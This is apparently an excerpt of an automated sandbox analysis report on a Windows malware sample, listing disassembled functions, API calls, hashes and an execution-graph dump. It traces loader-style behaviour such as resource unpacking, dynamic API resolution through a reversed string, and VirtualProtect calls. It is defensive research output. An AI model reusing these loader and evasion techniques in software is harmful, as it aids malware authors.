                                                                                                                                                                      • Instruction ID: e064890efea295106ac72c0503d3a6747319de37b2503ca24d98cd4afd3b4640
                                                                                                                                                                      • Opcode Fuzzy Hash: 96c1111f902a1d5e35b9e19e2b23c8f3a67d49120e7e02e2974395ec24696fa8
                                                                                                                                                                      • Instruction Fuzzy Hash: BBD0C7A1E883035EFB00AFB568B573A26DC9B4474DF645D36E01395103D77186145F98
                                                                                                                                                                      Function 02CAE168 Relevance: 6.1, APIs: 4, Instructions: 115COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02CAE217
                                                                                                                                                                      • SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02CAE233
                                                                                                                                                                      • SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02CAE2AA
                                                                                                                                                                      • VariantClear.OLEAUT32(?), ref: 02CAE2D3
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ArraySafe$Bound$ClearIndexVariant
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 920484758-0
                                                                                                                                                                      • Opcode ID: 8aa00cc61b707ac15c9433f3790f772ad147275ad2ddf2cbfec09d81ee21ca74
                                                                                                                                                                      • Instruction ID: dd96a6d5b6b24305fc35322afa9c21c3f9b93e0855e9efa0e59828367af75304
                                                                                                                                                                      • Opcode Fuzzy Hash: 8aa00cc61b707ac15c9433f3790f772ad147275ad2ddf2cbfec09d81ee21ca74
                                                                                                                                                                      • Instruction Fuzzy Hash: 8541F075A0162A9FCB61DB58CCA4BD9B3FDAF49318F0041E5E649E7211DA34AF809F90
                                                                                                                                                                      Function 02CAACBC Relevance: 6.1, APIs: 4, Instructions: 102COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VirtualQuery.KERNEL32(?,?,0000001C), ref: 02CAACD9
                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02CAACFD
                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(02D007F8,?,00000105,?,?,00000105), ref: 02CAAD18
                                                                                                                                                                      • LoadStringA.USER32(00000000,02CA6814,?,00000100), ref: 02CAADAE
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FileModuleName$LoadQueryStringVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3990497365-0
                                                                                                                                                                      • Opcode ID: 27e5501fb3837a3b36842194d7451439c4ed997dab228b71795a0b84da46b0bf
                                                                                                                                                                      • Instruction ID: cd901aa69d1e6d309c1a7e61ec6ac01fc78302e05372d237c6ddaa949cc5e213
                                                                                                                                                                      • Opcode Fuzzy Hash: 27e5501fb3837a3b36842194d7451439c4ed997dab228b71795a0b84da46b0bf
                                                                                                                                                                      • Instruction Fuzzy Hash: 39414A70E402599BDB21EB68CC94BDAB7FDAB48308F0440E9A548E7341DB759F88DF50
                                                                                                                                                                      Function 02CAACBA Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VirtualQuery.KERNEL32(?,?,0000001C), ref: 02CAACD9
                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02CAACFD
                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(02D007F8,?,00000105,?,?,00000105), ref: 02CAAD18
                                                                                                                                                                      • LoadStringA.USER32(00000000,02CA6814,?,00000100), ref: 02CAADAE
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FileModuleName$LoadQueryStringVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3990497365-0
                                                                                                                                                                      • Opcode ID: 8bba8fccdbb0544cfd9fab8a4ef5c84e8f5d7f7ca63bbe33a4dbf3a53fd18a0a
                                                                                                                                                                      • Instruction ID: 3eece18513175e43b26749ac15ddb93736a753790cecd233c57c8825ca8781b9
                                                                                                                                                                      • Opcode Fuzzy Hash: 8bba8fccdbb0544cfd9fab8a4ef5c84e8f5d7f7ca63bbe33a4dbf3a53fd18a0a
                                                                                                                                                                      • Instruction Fuzzy Hash: 3A415B70E402599BDB21EB68CC94BDAB7FDAB48308F0400E5A548E7341DB75AF88DF50
                                                                                                                                                                      Function 02CAA9D0 Relevance: 6.0, APIs: 4, Instructions: 50threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetThreadLocale.KERNEL32(?,00000000,02CAAA67,?,?,00000000), ref: 02CAA9E8
                                                                                                                                                                      • GetThreadLocale.KERNEL32(00000000,00000004,00000000,02CAAA67,?,?,00000000), ref: 02CAAA18
                                                                                                                                                                      • GetThreadLocale.KERNEL32(00000000,00000003,Function_0000991C,00000000,00000000,00000004,00000000,02CAAA67,?,?,00000000), ref: 02CAAA41
                                                                                                                                                                      • EnumCalendarInfoA.KERNEL32(Function_00009958,00000000,00000000,00000003), ref: 02CAAA4C
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: LocaleThread$CalendarEnumInfo
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1139405593-0
                                                                                                                                                                      • Opcode ID: 3b1c5412da17833b9e24e9438e595235f0eed0001dc7f36b3a73abfe8c16c848
                                                                                                                                                                      • Instruction ID: a7952447f1571c5b18ae17888448b4315dd8e5939630c3c60d5cdae0fc4a474a
                                                                                                                                                                      • Opcode Fuzzy Hash: 3b1c5412da17833b9e24e9438e595235f0eed0001dc7f36b3a73abfe8c16c848
                                                                                                                                                                      • Instruction Fuzzy Hash: 4401F7312802476BFB01A6788D32B6E73ADDB4571CFA50130F512E66D0E6749E00EE64
                                                                                                                                                                      Function 02CA1C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 03bc0a47881ec3ad0800eecf39c236e27c7d3f457c83551463244291d157c4b0
                                                                                                                                                                      • Instruction ID: c4a299e7af71b3e598055099593bd583c9dcf70b2e469b4cf7c8ee87585d5d23
                                                                                                                                                                      • Opcode Fuzzy Hash: 03bc0a47881ec3ad0800eecf39c236e27c7d3f457c83551463244291d157c4b0
                                                                                                                                                                      • Instruction Fuzzy Hash: 5DA109767106420BE719AA7C9CA43BDB3C69BC436DF1C427ED21DCB381EBE9CA419650
                                                                                                                                                                      Function 02CA946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,02CA955A), ref: 02CA94F2
                                                                                                                                                                      • GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,02CA955A), ref: 02CA94F8
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DateFormatLocaleThread
                                                                                                                                                                      • String ID: yyyy
                                                                                                                                                                      • API String ID: 3303714858-3145165042
                                                                                                                                                                      • Opcode ID: 206de03cb7777548cf861aa08d0f0c2404ee9bcea63eb1e24c787aa464b1dd7c
                                                                                                                                                                      • Instruction ID: 5ea8f03afea88599d5638045631a47ca701930eb835d1727ccb5227915e630b9
                                                                                                                                                                      • Opcode Fuzzy Hash: 206de03cb7777548cf861aa08d0f0c2404ee9bcea63eb1e24c787aa464b1dd7c
                                                                                                                                                                      • Instruction Fuzzy Hash: 4E21B071A002199FDB24DFA8C8A2AAEB3F9EF48714F5000A5F905E7240D770DF40EBA1
                                                                                                                                                                      Function 02CA3568 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49registryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Close
                                                                                                                                                                      • String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
                                                                                                                                                                      • API String ID: 3535843008-4173385793
                                                                                                                                                                      • Opcode ID: bc5cdd107a7c7be1ad7f529d6977e5119dbd94a61ab1bb9762efb3b145ce15e0
                                                                                                                                                                      • Instruction ID: ff069a92d57ec4e7aba8001ec5753efe51c90cacd33b7e6ac07a00272ce1a6ad
                                                                                                                                                                      • Opcode Fuzzy Hash: bc5cdd107a7c7be1ad7f529d6977e5119dbd94a61ab1bb9762efb3b145ce15e0
                                                                                                                                                                      • Instruction Fuzzy Hash: F901F5B5940259BAE711DB948C22BBDB3FCE708714F2006B5FA05D3580E674D610DB58
                                                                                                                                                                      Function 02CB8184 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CB8018: GetModuleHandleA.KERNELBASE(?), ref: 02CB806A
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CB8113
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(?,?), ref: 02CB8125
                                                                                                                                                                      • FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02CB820E), ref: 02CB81F0
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$CacheFlushHandleInstructionModule
                                                                                                                                                                      • String ID: FlushInstructionCache$Kernel32
                                                                                                                                                                      • API String ID: 1384192982-184458249
                                                                                                                                                                      • Opcode ID: 492494a55d926762345cc83244e200936ed33cde35e741466e8cad116c018da4
                                                                                                                                                                      • Instruction ID: aeb60b4aa009dbfeaa18863a57c73d20ee900facef7bfc246b970d51bf942d80
                                                                                                                                                                      • Opcode Fuzzy Hash: 492494a55d926762345cc83244e200936ed33cde35e741466e8cad116c018da4
                                                                                                                                                                      • Instruction Fuzzy Hash: 2901DC74A84308BFEB12EFA4EC91F9A37EEEB48B00F614560B504D3A40C670ED10AB21
                                                                                                                                                                      Function 02CB8018 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CB8113
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(?,?), ref: 02CB8125
                                                                                                                                                                      • GetModuleHandleA.KERNELBASE(?), ref: 02CB806A
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$HandleModule
                                                                                                                                                                      • String ID: AeldnaHeludoMteG$KernelBASE
                                                                                                                                                                      • API String ID: 667068680-1952140341
                                                                                                                                                                      • Opcode ID: bbfb0e25cfd5754943114f19208e10dda38d668db18db048390bc11f3128a0c0
                                                                                                                                                                      • Instruction ID: 8704f097af802a956eb401c99820209e1f901a2fa45c8d29146264592f7edfce
                                                                                                                                                                      • Opcode Fuzzy Hash: bbfb0e25cfd5754943114f19208e10dda38d668db18db048390bc11f3128a0c0
                                                                                                                                                                      • Instruction Fuzzy Hash: 0BF06270644308AFEB16EBA4EC51A9A77ADEB49780F914661F40093A10DA70AD109A50

                                                                                                                                                                      Execution Graph

                                                                                                                                                                      Execution Coverage:8%
                                                                                                                                                                      Dynamic/Decrypted Code Coverage:65.1%
                                                                                                                                                                      Signature Coverage:0.5%
                                                                                                                                                                      Total number of Nodes:631
                                                                                                                                                                      Total number of Limit Nodes:57
                                                                                                                                                                      execution_graph 85624 27400e90 85625 27400e9c 85624->85625 85626 27400ea7 85625->85626 85628 27404794 85625->85628 85631 2740ed48 85628->85631 85633 2740ed6f 85631->85633 85635 2740ee60 85633->85635 85636 2740eea9 VirtualProtect 85635->85636 85638 274047b6 85636->85638 85823 2740f130 85824 2740f174 CloseHandle 85823->85824 85826 2740f1c0 85824->85826 85749 2bfa1198 85750 2bfa11c6 85749->85750 85753 2bfa03d4 85750->85753 85754 2bfa03df 85753->85754 85755 2bfa1a81 85754->85755 85756 2bfa1adc 85754->85756 85760 2bfa30e0 85754->85760 85764 2bfa30d0 85754->85764 85755->85756 85768 2bfaccb9 85755->85768 85761 2bfa3101 85760->85761 85762 2bfa3125 85761->85762 85772 2bfa3290 85761->85772 85762->85755 85765 2bfa3101 85764->85765 85766 2bfa3125 85765->85766 85767 2bfa3290 4 API calls 85765->85767 85766->85755 85767->85766 85770 2bfacce9 85768->85770 85769 2bfad0c8 WaitMessage 85769->85770 85770->85769 85771 2bfacd74 85770->85771 85774 2bfa329d 85772->85774 85773 2bfa32d6 85773->85762 85774->85773 85776 2bfa1fe4 85774->85776 85777 2bfa1fef 85776->85777 85779 2bfa3348 85777->85779 85780 2bfa2018 85777->85780 85779->85779 85781 2bfa2023 85780->85781 85787 2bfa2028 85781->85787 85783 2bfa33b7 85791 2bfa829e 85783->85791 85799 2bfa82a8 85783->85799 85784 2bfa33f1 85784->85779 85790 2bfa2033 85787->85790 85788 2bfa4558 85788->85783 85789 2bfa30e0 4 API calls 85789->85788 85790->85788 85790->85789 85793 2bfa82d9 85791->85793 85794 2bfa83d9 85791->85794 85792 2bfa82e5 85792->85784 85793->85792 85807 2bfa8520 85793->85807 85794->85784 85795 2bfa8325 85797 2b7d9ee1 3 API calls 85795->85797 85798 2b7d9ef0 3 API calls 85795->85798 85797->85794 85798->85794 85801 2bfa82d9 85799->85801 85802 2bfa83d9 85799->85802 85800 2bfa82e5 85800->85784 85801->85800 85804 2bfa8520 4 API calls 85801->85804 85802->85784 85803 2bfa8325 85805 2b7d9ee1 3 API calls 85803->85805 85806 2b7d9ef0 3 API calls 85803->85806 85804->85803 85805->85802 85806->85802 85810 2bfa8550 85807->85810 85808 2bfa852a 85808->85795 85811 2bfa8561 85810->85811 85813 2bfa858c 85811->85813 85816 2b7d9b98 GetModuleHandleW 85811->85816 85817 2b7da630 2 API calls 85811->85817 85818 2b7da620 2 API calls 85811->85818 85819 2b7da958 85811->85819 85812 2bfa857c 85812->85813 85814 2bfa8550 4 API calls 85812->85814 85813->85808 85814->85813 85816->85812 85817->85812 85818->85812 85820 2b7da943 GetModuleHandleW 85819->85820 85822 2b7daa04 85820->85822 85822->85812 85278 2b7de0b8 85279 2b7de0fe GetCurrentProcess 85278->85279 85281 2b7de149 85279->85281 85282 2b7de150 GetCurrentThread 85279->85282 85281->85282 85283 2b7de18d GetCurrentProcess 85282->85283 85284 2b7de186 85282->85284 85285 2b7de1c3 85283->85285 85284->85283 85286 2b7de1eb GetCurrentThreadId 85285->85286 85287 2b7de21c 85286->85287 85639 2593d044 85640 2593d05c 85639->85640 85641 2593d0b6 85640->85641 85649 2b7db5b0 85640->85649 85653 2b7defb5 85640->85653 85663 2b7d9ca5 85640->85663 85668 2b7db439 85640->85668 85675 2b7db448 85640->85675 85681 2b7d9ccc 85640->85681 85691 2b7d9cbc 85640->85691 85650 2b7db5c0 85649->85650 85695 2b7d9cf4 85650->85695 85652 2b7db5c7 85652->85641 85654 2b7defc0 85653->85654 85655 2b7df021 85654->85655 85657 2b7df011 85654->85657 85658 2b7df01f 85655->85658 85726 2b7ddf84 85655->85726 85657->85658 85699 2bfa8d78 85657->85699 85703 2bfa8e44 85657->85703 85708 2b7df148 85657->85708 85717 2b7df138 85657->85717 85665 2b7d9cb5 85663->85665 85664 2b7d9c9f 85665->85664 85666 2b7d9cf4 GetModuleHandleW 85665->85666 85667 2b7db5c7 85666->85667 85667->85641 85669 2b7db42b 85668->85669 85670 2b7db447 85668->85670 85669->85641 85671 2b7d9cbc GetModuleHandleW 85670->85671 85672 2b7db47a 85671->85672 85673 2b7d9ccc 3 API calls 85672->85673 85674 2b7db48f 85673->85674 85674->85641 85676 2b7db46e 85675->85676 85677 2b7d9cbc GetModuleHandleW 85676->85677 85678 2b7db47a 85677->85678 85679 2b7d9ccc 3 API calls 85678->85679 85680 2b7db48f 85679->85680 85680->85641 85682 2b7d9cd7 85681->85682 85683 2b7df021 85682->85683 85685 2b7df011 85682->85685 85684 2b7ddf84 3 API calls 85683->85684 85686 2b7df01f 85683->85686 85684->85686 85685->85686 85687 2bfa8d78 3 API calls 85685->85687 85688 2b7df148 3 API calls 85685->85688 85689 2b7df138 3 API calls 85685->85689 85690 2bfa8e44 3 API calls 85685->85690 85687->85686 85688->85686 85689->85686 85690->85686 85692 2b7d9cc7 85691->85692 85693 2b7d9cf4 GetModuleHandleW 85692->85693 85694 2b7db5c7 85693->85694 85694->85641 85696 2b7d9cff 85695->85696 85697 2b7d9b98 GetModuleHandleW 85696->85697 85698 2b7db697 85696->85698 85697->85698 85701 2bfa8d8c 85699->85701 85700 2bfa8e18 85700->85658 85733 2bfa8e30 85701->85733 85704 2bfa8e02 85703->85704 85705 2bfa8e52 85703->85705 85707 2bfa8e30 3 API calls 85704->85707 85706 2bfa8e18 85706->85658 85707->85706 85709 2b7df156 85708->85709 85710 2b7df183 85708->85710 85711 2b7df15e 85709->85711 85714 2b7ddf84 3 API calls 85709->85714 85710->85709 85712 2b7df188 85710->85712 85711->85658 85713 2b7ddfa4 GetCurrentThreadId 85712->85713 85715 2b7df194 85713->85715 85716 2b7df19c 85714->85716 85715->85658 85716->85658 85718 2b7df156 85717->85718 85719 2b7df183 85717->85719 85722 2b7ddf84 3 API calls 85718->85722 85725 2b7df15e 85718->85725 85719->85718 85720 2b7df188 85719->85720 85721 2b7ddfa4 GetCurrentThreadId 85720->85721 85723 2b7df194 85721->85723 85724 2b7df19c 85722->85724 85723->85658 85724->85658 85725->85658 85727 2b7ddf8f 85726->85727 85728 2b7df29c 85727->85728 85729 2b7df1f2 85727->85729 85731 2b7d9ccc 2 API calls 85728->85731 85730 2b7df24a CallWindowProcW 85729->85730 85732 2b7df1f9 85729->85732 85730->85732 85731->85732 85732->85658 85735 2bfa8e41 85733->85735 85736 2bfa9ff1 85733->85736 85735->85700 85738 2b7ddf84 3 API calls 85736->85738 85740 2b7df1a0 85736->85740 85737 2bfaa00a 85737->85735 85738->85737 85741 2b7df1b0 85740->85741 85742 2b7df29c 85741->85742 85743 2b7df1f2 85741->85743 85745 2b7d9ccc 2 API calls 85742->85745 85744 2b7df24a CallWindowProcW 85743->85744 85746 2b7df1f9 85743->85746 85744->85746 85745->85746 85746->85737 85827 40cbf7 85828 40cc08 85827->85828 85871 40d534 HeapCreate 85828->85871 85831 40cc46 85932 41087e 71 API calls 8 library calls 85831->85932 85834 40cc4c 85835 40cc50 85834->85835 85836 40cc58 __RTC_Initialize 85834->85836 85933 40cbb4 62 API calls 3 library calls 85835->85933 85873 411a15 67 API calls 3 library calls 85836->85873 85838 40cc57 85838->85836 85840 40cc66 85841 40cc72 GetCommandLineA 85840->85841 85842 40cc6a 85840->85842 85874 412892 71 API calls 3 library calls 85841->85874 85934 40e79a 62 API calls 3 library calls 85842->85934 85845 40cc71 85845->85841 85846 40cc82 85935 4127d7 107 API calls 3 library calls 85846->85935 85848 40cc8c 85849 40cc90 85848->85849 85850 40cc98 85848->85850 85936 40e79a 62 API calls 3 library calls 85849->85936 85875 41255f 106 API calls 6 library calls 85850->85875 85853 40cc9d 85855 40cca1 85853->85855 85856 40cca9 85853->85856 85854 40cc97 85854->85850 85937 40e79a 62 API calls 3 library calls 85855->85937 85876 40e859 73 API calls 5 library calls 85856->85876 85859 40cca8 85859->85856 85860 40ccb0 85861 40ccb5 85860->85861 85862 40ccbc 85860->85862 85938 40e79a 62 API calls 3 library calls 85861->85938 85877 4019f0 OleInitialize 85862->85877 85865 40ccbb 85865->85862 85866 40ccd8 85867 40ccea 85866->85867 85939 40ea0a 62 API calls _doexit 85866->85939 85940 40ea36 62 API calls _doexit 85867->85940 85870 40ccef __initptd 85872 40cc3a 85871->85872 85872->85831 85931 40cbb4 62 API calls 3 library calls 85872->85931 85873->85840 85874->85846 85875->85853 85876->85860 85878 401ab9 85877->85878 85941 40b99e 85878->85941 85880 401abf 85881 401acd GetCurrentProcessId CreateToolhelp32Snapshot Module32First 85880->85881 85910 402467 85880->85910 85882 401dc3 CloseHandle GetModuleHandleA 85881->85882 85890 401c55 85881->85890 85954 401650 85882->85954 85884 401e8b FindResourceA LoadResource LockResource SizeofResource 85956 40b84d 85884->85956 85888 401c9c CloseHandle 85888->85866 85889 401ecb _memset 85891 401efc SizeofResource 85889->85891 85890->85888 85894 401cf9 Module32Next 85890->85894 85892 401f1c 85891->85892 85893 401f5f 85891->85893 85892->85893 86012 401560 __VEC_memcpy __cftoe2_l 85892->86012 85895 401f92 _memset 85893->85895 86013 401560 __VEC_memcpy __cftoe2_l 85893->86013 85894->85882 85904 401d0f 85894->85904 85898 401fa2 FreeResource 85895->85898 85899 40b84d _malloc 62 API calls 85898->85899 85900 401fbb SizeofResource 85899->85900 85901 401fe5 _memset 85900->85901 85902 4020aa LoadLibraryA 85901->85902 85903 401650 85902->85903 85905 40216c GetProcAddress 85903->85905 85904->85888 85906 401dad Module32Next 85904->85906 85907 4021aa 85905->85907 85905->85910 85906->85882 85906->85904 85907->85910 85986 4018f0 85907->85986 85910->85866 85911 4021f1 85929 40243f 85911->85929 85998 401870 85911->85998 85913 402269 VariantInit 85914 401870 75 API calls 85913->85914 85915 40228b VariantInit 85914->85915 85916 4022a7 85915->85916 85917 4022d9 SafeArrayCreate SafeArrayAccessData 85916->85917 86003 40b350 85917->86003 85920 40232c 85921 402354 SafeArrayDestroy 85920->85921 85930 40235b 85920->85930 85921->85930 85922 402392 SafeArrayCreateVector 85923 4023a4 85922->85923 85924 4023bc VariantClear VariantClear 85923->85924 86005 4019a0 85924->86005 85927 40242e 85928 4019a0 65 API calls 85927->85928 85928->85929 85929->85910 86014 40b6b5 62 API calls 2 library calls 85929->86014 85930->85922 85931->85831 85932->85834 85933->85838 85934->85845 85935->85848 85936->85854 85937->85859 85938->85865 85939->85867 85940->85870 85942 40b9aa __initptd _strnlen 85941->85942 85943 40b9b8 85942->85943 85947 40b9ec 85942->85947 86015 40bfc1 62 API calls __getptd_noexit 85943->86015 85945 40b9bd 86016 40e744 6 API calls 2 library calls 85945->86016 86017 40d6e0 62 API calls 2 library calls 85947->86017 85949 40b9f3 86018 40b917 120 API calls 3 library calls 85949->86018 85951 40b9ff 86019 40ba18 LeaveCriticalSection _doexit 85951->86019 85952 40b9cd __initptd 85952->85880 85955 4017cc _memcpy_s 85954->85955 85955->85884 85957 40b900 85956->85957 85963 40b85f 85956->85963 86027 40d2e3 6 API calls __decode_pointer 85957->86027 85959 40b870 85959->85963 86020 40ec4d 62 API calls 2 library calls 85959->86020 86021 40eaa2 62 API calls 7 library calls 85959->86021 86022 40e7ee GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 85959->86022 85960 40b906 86028 40bfc1 62 API calls __getptd_noexit 85960->86028 85963->85959 85966 40b8bc RtlAllocateHeap 85963->85966 85968 401ebf 85963->85968 85969 40b8ec 85963->85969 85972 40b8f1 85963->85972 86023 40b7fe 62 API calls 4 library calls 85963->86023 86024 40d2e3 6 API calls __decode_pointer 85963->86024 85966->85963 85974 40af66 85968->85974 86025 40bfc1 62 API calls __getptd_noexit 85969->86025 86026 40bfc1 62 API calls __getptd_noexit 85972->86026 85976 40af70 85974->85976 85975 40b84d _malloc 62 API calls 85975->85976 85976->85975 85977 40af8a 85976->85977 85980 40af8c std::bad_alloc::bad_alloc 85976->85980 86029 40d2e3 6 API calls __decode_pointer 85976->86029 85977->85889 85984 40afb2 85980->85984 86030 40d2bd 73 API calls __cinit 85980->86030 85981 40afbc 86032 40cd39 RaiseException 85981->86032 86031 40af49 62 API calls std::exception::exception 85984->86031 85985 40afca 85987 401903 lstrlenA 85986->85987 85988 4018fc 85986->85988 86033 4017e0 85987->86033 85988->85911 85991 401940 GetLastError 85993 40194b MultiByteToWideChar 85991->85993 85994 40198d 85991->85994 85992 401996 85992->85911 85995 4017e0 77 API calls 85993->85995 85994->85992 86049 401030 GetLastError EntryPoint 85994->86049 85996 401970 MultiByteToWideChar 85995->85996 85996->85994 85999 40af66 74 API calls 85998->85999 86000 40187c 85999->86000 86001 401885 SysAllocString 86000->86001 86002 4018a4 86000->86002 86001->86002 86002->85913 86004 40231a SafeArrayUnaccessData 86003->86004 86004->85920 86006 4019aa InterlockedDecrement 86005->86006 86007 4019df VariantClear 86005->86007 86006->86007 86008 4019b8 86006->86008 86007->85927 86008->86007 86009 4019c2 SysFreeString 86008->86009 86010 4019c9 86008->86010 86009->86010 86053 40aec0 63 API calls 2 library calls 86010->86053 86012->85892 86013->85895 86014->85910 86015->85945 86017->85949 86018->85951 86019->85952 86020->85959 86021->85959 86023->85963 86024->85963 86025->85972 86026->85968 86027->85960 86028->85968 86029->85976 86030->85984 86031->85981 86032->85985 86034 4017f3 86033->86034 86035 4017e9 EntryPoint 86033->86035 86036 401805 86034->86036 86037 4017fb EntryPoint 86034->86037 86035->86034 86038 401818 86036->86038 86039 40180e EntryPoint 86036->86039 86037->86036 86040 40183e 86038->86040 86044 401844 86038->86044 86050 40b783 72 API calls 4 library calls 86038->86050 86039->86038 86051 40b6b5 62 API calls 2 library calls 86040->86051 86046 40186d MultiByteToWideChar 86044->86046 86047 40184e EntryPoint 86044->86047 86052 40b743 62 API calls 2 library calls 86044->86052 86045 40182d 86045->86044 86048 401834 EntryPoint 86045->86048 86046->85991 86046->85992 86047->86044 86048->86040 86050->86045 86051->86044 86052->86044 86053->86007 85288 27a8cb20 85289 27a8cb2c 85288->85289 85323 2b6f0e38 85289->85323 85332 2b6f0e2b 85289->85332 85290 27a8cbcb 85341 2b7065c0 85290->85341 85347 2b7065b0 85290->85347 85291 27a8ccdc 85353 2b775438 85291->85353 85359 2b775328 85291->85359 85365 2b7753cb 85291->85365 85371 2b7753ef 85291->85371 85292 27a8cdf4 85377 2b7b0e87 85292->85377 85383 2b7b0e98 85292->85383 85293 27a8cefe 85389 2b7b1353 85293->85389 85395 2b7b1360 85293->85395 85294 27a8cf05 85401 2b7b7390 85294->85401 85407 2b7b7383 85294->85407 85295 27a8d00f 85413 2b7becd8 85295->85413 85419 2b7becc8 85295->85419 85296 27a8d120 85425 2b7c6760 85296->85425 85298 27a8d342 85450 2b7d3511 85298->85450 85455 2b7d3538 85298->85455 85459 2b7d3548 85298->85459 85299 27a8d3dc 85325 2b6f0e5a 85323->85325 85324 2b6f1241 85324->85290 85325->85324 85463 2b6f7e0c 85325->85463 85469 2b6f7a28 85325->85469 85475 